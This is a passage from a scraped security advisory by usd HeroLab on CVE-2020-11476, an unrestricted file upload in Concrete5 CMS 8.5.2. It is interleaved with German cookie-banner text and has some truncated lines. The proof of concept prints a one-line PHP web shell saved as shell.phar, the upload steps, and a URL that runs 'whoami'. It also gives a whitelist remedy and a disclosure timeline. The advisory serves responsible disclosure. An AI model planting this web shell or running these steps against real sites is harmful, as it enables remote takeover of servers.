

V	Technisch	erforderlich

_			
	Analyse	und	Performance

 \equiv

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

Cookie-Details | Datenschutzerklärung | Impressum

Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analysezwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalts der Anzeigen und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer Datenschutzerklärung. Sie können Ihre Auswahl jederzeit unter Einstellungen widerrufen oder anpassen.

usd HeroL	rechnisch errorderlich Analyse und Performance
	Alle akzeptieren
A.I	Speichern
Advisory ID: usd-2020-0041 CVE Number: CVE-2020-11476 Affected Product: Concrete5 CMS	Nur technisch notwendige Cookies akzeptieren
Affected Version: 8.5.2 Vulnerability Type: Unrestricted Uploa	Individuelle Datenschutzeinstellungen

Description

Vendor URL: https://www.concrete5.or

Vendor Status: Fixed in 8.5.3

The web application "concrete5" is vulnerable to remote code execution. An attacker can define uploadable filetypes in the admin area. The application blocks uploads with file extensions like php and phtml but not phar, php8, shtml, cgi, pl, phpsh, pht and .htaccess.

Cookie-Details | Datenschutzerklärung | Impressum

http://localhost/index.php/dashboard/system/files/filetypes. According to the page, the following file extensions are blocked:

```
These file extensions will always be blocked: php, php2, php3, php4, php5, php7, phtml
```

However there are other file formats that are interpreted as PHP by many web servers. One of these file extensions is .phar. After adding this file extension, it is possible to upload .phar files in the upload section, which are stored on the web server. If an attacker accesses the uploaded file via his browser, this file

Proof of Concept (PoC)

First visit the section "Allowed file types" under the URL http://localhost/index.php/dashboard/system/files/filetype. The .phar format must be added to the

Create a new file shell.phar with the following contents:

```
<?php
system($_GET['cmd']);
```

Afterwards visit the following page: http://localhost/concrete5/index.php/dashboard/files/search.

On this page it is possible to upload new files and get information about already uploaded files.

Next step is to upload the created file shell.phar. After the successful upload of the file it is possible to view the URL of the file. On the same page it is

```
Filename shell.phar
URL to File http://localhost/application/files/4015/8558/7320/shell.phar
Tracked URL http://localhost/concrete5/index.php/download_file/21/0
Folder File Manager
```

the following URL would execute the system command "whoami": http://localhost/application/files/4015/8558/7320/shell.phar?cmd=whoami

other file extensions which some web servers interpret as PHP code. It is more difficult to cover all file extensions with a blacklist than to build a whitelist of possible file formats. It would make sense to introduce a concrete.upload.extensions_whitelist which is defined in the code. This way, a user who already has access to the system can modify it. The section "Allowed File Types" should not allow a user to modify the allowed file formats, it should only display

Timeline

- 2020-03-31 Vulnerability was discov
- 2020-04-01 First contact attempt via
- 2020-05-14 Second contact attempt
- 2020-05-14 Report on https://hacke
- 2020-06-03 Public pull request with
- 2020-06-04 Version 8.5.3 is released
- 2020-07-15 Security advisory releas

Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analysezwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer Datenschutzerklärung. Sie können Ihre Auswahl jederzeit unter Einstellungen widerrufen oder anpassen.

ag/8.5.3

 \equiv

=





Analyse und Performance

 \equiv

 \equiv

Alle akzeptieren

Speichern

About usd Security Advisories



Individuelle Datenschutzeinstellungen

Cookie-Details | Datenschutzerklärung | Impressum



In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: "more security."

to usd AG

In accordance with usd AG's Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.

Kontakt

Impressum

400

@ 2022 usd AG

LabNews

Security Advisory zu GitLab

Dez 15, 202

Security Advisory zu Acronis Cyber Protect

Nov 9, 2022

Security Advisories zu Apache Tomcat

Nov 24, 2022

Meldung einer Schwachstelle oder eines Bugs

Code of Ethic

win y m fos